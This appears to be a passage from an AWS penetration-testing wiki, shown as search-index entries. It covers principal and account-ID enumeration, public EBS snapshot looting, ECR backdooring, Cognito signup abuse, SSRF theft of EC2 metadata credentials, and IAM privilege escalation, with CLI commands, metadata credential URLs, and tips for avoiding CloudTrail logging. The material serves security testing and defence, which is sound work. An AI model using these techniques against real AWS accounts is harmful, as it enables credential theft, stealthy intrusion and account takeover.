You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.

There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.

Warning

Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).

Note

While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.

Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
"},{"location":"aws/enumeration/enumerate_principal_arn_from_unique_id/","title":"Derive a Principal ARN from an AWS Unique Identifier","text":"
  • Original Research

    Reversing AWS IAM unique IDs by Aidan Steele

  • Additional Resources

    Reference: Unique identifiers

When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

First, we will create a role with the following trust policy:

{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"AROAJMD24IEMKTX6BABJI\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

We will then save the policy and refresh the page.

Note

You may get a warning in the policy editor saying, \"Invalid Role Reference: The Principal element includes the IAM role ID AROAJMD24IEMKTX6BABJI. We recommend that you use a role ARN instead\", however this will not prevent you from saving the policy.

After refreshing the page the policy will now be as follows:

{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::607481581596:role/service-role/abctestrole\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

This reveals the ARN of the role associated with the original unique identifier.

"},{"location":"aws/enumeration/enumerate_root_email_from_console/","title":"Enumerate Root User Email Address from the AWS Console","text":"

Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
"},{"location":"aws/enumeration/get-account-id-from-keys/","title":"Get Account ID from AWS Access Keys","text":"
  • Original Research

    • AWS Access Key ID Formats by Aidan Steele
    • A short note on AWS KEY ID by Tal Be'ery

While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

"},{"location":"aws/enumeration/get-account-id-from-keys/#stsgetaccesskeyinfo","title":"sts:GetAccessKeyInfo","text":"

Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456\n{\n    \"Account\": \"123456789012\"\n}\n
"},{"location":"aws/enumeration/get-account-id-from-keys/#decode-the-access-key","title":"Decode the access key","text":"

As originally discovered by Aidan Steele, and later improved upon by Tal Be'ery, the account ID is actually encoded into the access key itself.

By decoding the access key using Base32 and doing a little bit shifting, we can get the account ID. Tal wrote the handy Python script below to do this:

import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n\n    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n    y = x[0:6]\n\n    z = int.from_bytes(y, byteorder='big', signed=False)\n    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)\n\n    e = (z & mask)>>7\n    return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n
"},{"location":"aws/enumeration/loot_public_ebs_snapshots/","title":"Loot Public EBS Snapshots","text":"

For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#making-them-public","title":"Making them Public","text":"

EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#finding-exposed-snapshots","title":"Finding Exposed Snapshots","text":"

A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

To pull this list in an easily consumable format you can use the following CLI command:

aws ec2 describe-snapshots --restorable-by-user-ids all\n

As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.

Tip

This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.

To search for all public EBS snapshots associated with an AWS account, use the following command:

aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000\n
"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#identification","title":"Identification","text":"

To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

./prowler -c ec2_ebs_public_snapshot\n
"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#detection","title":"Detection","text":"

When someone makes an EBS snapshot publicly accessible, CloudTrail generates an ec2:ModifySnapshotAttribute event with createVolumePermission set to {\"add\": {\"items\": [{ \"groups\": \"all\" }]}}. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.

"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#additional-resources","title":"Additional Resources","text":"

For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, Finding Secrets In Publicly Exposed EBS Volumes by Ben Morris (slides available here).

"},{"location":"aws/enumeration/whoami/","title":"Whoami - Get Principal Name From Keys","text":"

After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.\n
"},{"location":"aws/enumeration/whoami/#sqslistqueues","title":"sqs:ListQueues","text":"

sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the ListQueues action does not appear in the documentation for SQS's compatibility with CloudTrail.

user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n
"},{"location":"aws/exploitation/abusing-container-registry/","title":"Abusing Elastic Container Registry for Lateral Movement","text":"
  • Original Research

    • Abusing Elastic Container Registry (ECR) to own AWS environments by Roi Lavie
    • Docker Security : Backdooring Images with Dockerscan by Mayank Shah
  • Required IAM Permissions

    Read and write access to an ECR registry

IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

Video Summary:

  • An attacker\u2019s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
  • The attacker gains access to resources using access to ECR
  • The attacker pulls the latest docker image
  • The attacker adds a layer by injecting a malicious payload to the docker image
  • The attacker pushes the docker image to ECR with the latest tag
  • The victim pulls the latest docker image and starts the container
  • The malicious reverse shell is executed and communicates with the attacker
  • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

Security Recommendations:

  • Least privileges \u2014 external facing apps should not have write access or wildcard (*) permissions on ECR
  • Secure CI/CD pipelines \u2014 Protect from any unauthorized access to source code repos or build tools.
  • Enforce signing of docker images
  • (see: https://github.com/notaryproject/notary)
  • Use docker custom security profiles like AppArmor, Seccomp
  • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/","title":"Overpermissioned AWS Cognito Identity Pools","text":"
  • Additional Resources

    • Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat by Usama Rasheed
    • AWS Cognito pitfalls: Default settings attackers love (and you should know about) by Lorenzo Vogelsang

A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#how-it-works","title":"How it works","text":"

The process usually involves two key steps:

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#identity-retrieval","title":"Identity Retrieval:","text":"

This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#excessive-privileges-exploitation","title":"Excessive Privileges Exploitation:","text":"

The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation","title":"Exploitation","text":"

The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}\n
and then:
aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}\n

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#impact","title":"Impact","text":"

The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.

However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.

"},{"location":"aws/exploitation/cognito_user_self_signup/","title":"Unintended Self-Signup in AWS Cognito","text":"
  • Additional Resources

    • CloudGoat Scenario: vulnerable_cognito

A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If \"Admin Only\" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

"},{"location":"aws/exploitation/cognito_user_self_signup/#how-it-works","title":"How it works","text":"

Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

"},{"location":"aws/exploitation/cognito_user_self_signup/#web-applications","title":"Web applications:","text":"

An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

  1. Opening the web application in a web browser.
  2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
  3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

"},{"location":"aws/exploitation/cognito_user_self_signup/#mobile-applications","title":"Mobile applications:","text":"

Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

  1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
  2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
  3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.
"},{"location":"aws/exploitation/cognito_user_self_signup/#exploitation","title":"Exploitation","text":"

Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}\n

If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}\n
"},{"location":"aws/exploitation/cognito_user_self_signup/#impact","title":"Impact","text":"

The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways.

Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.

In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.

"},{"location":"aws/exploitation/ec2-metadata-ssrf/","title":"Steal EC2 Metadata Credentials via SSRF","text":"

Note

This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

"},{"location":"aws/exploitation/ec2-metadata-ssrf/#stealing-iam-credentials-from-the-instance-metadata-service","title":"Stealing IAM Credentials from the Instance Metadata Service","text":"

If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

Note

An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

"},{"location":"aws/exploitation/ec2-metadata-ssrf/#additional-resources","title":"Additional Resources","text":"

For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

"},{"location":"aws/exploitation/iam_privilege_escalation/","title":"AWS IAM Privilege Escalation Techniques","text":"
  • Original Research

    AWS IAM Privilege Escalation \u2013 Methods and Mitigation by Spencer Gietzen

  • Additional Resources

    • AWS IAM Privilege Escalation Methods
    • Well, That Escalated Quickly: Privilege Escalation in AWS by Gerben Kleijn

Note

If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

"},{"location":"aws/exploitation/iam_privilege_escalation/#codestarcreateproject-codestarassociateteammember","title":"codestar:CreateProject, codestar:AssociateTeamMember","text":"

With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

"},{"location":"aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint","title":"glue:UpdateDevEndpoint","text":"

With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamaddusertogroup","title":"iam:AddUserToGroup","text":"

With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy","title":"iam:AttachGroupPolicy","text":"

With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy","title":"iam:AttachRolePolicy","text":"

With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy","title":"iam:AttachUserPolicy","text":"

With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey","title":"iam:CreateAccessKey","text":"

With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile","title":"iam:CreateLoginProfile","text":"

With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion","title":"iam:CreatePolicyVersion","text":"

With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepermissionsboundary","title":"iam:DeleteRolePermissionsBoundary","text":"

With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepolicy","title":"iam:DeleteRolePolicy","text":"

With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpermissionsboundary","title":"iam:DeleteUserPermissionsBoundary","text":"

With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpolicy","title":"iam:DeleteUserPolicy","text":"

With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachrolepolicy","title":"iam:DetachRolePolicy","text":"

With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachuserpolicy","title":"iam:DetachUserPolicy","text":"

With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,","text":"

With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate","text":"

With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack","title":"iam:PassRole, cloudformation:CreateStack","text":"

With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-codestarcreateproject","title":"iam:PassRole, codestar:CreateProject","text":"

With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition","title":"iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition","text":"

With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances","title":"iam:PassRole, ec2:RunInstances","text":"

With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

This can be taken advantage of with the following one-liner:

Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint","title":"iam:PassRole, glue:CreateDevEndpoint","text":"

With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob","title":"iam:PassRole, glue:CreateJob","text":"

With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob","title":"iam:PassRole, glue:UpdateJob","text":"

With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdaaddpermission-lambdacreatefunction","title":"iam:PassRole, lambda:AddPermission, lambda:CreateFunction","text":"

With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction","title":"iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction","text":"

With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction","title":"iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction","text":"

With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

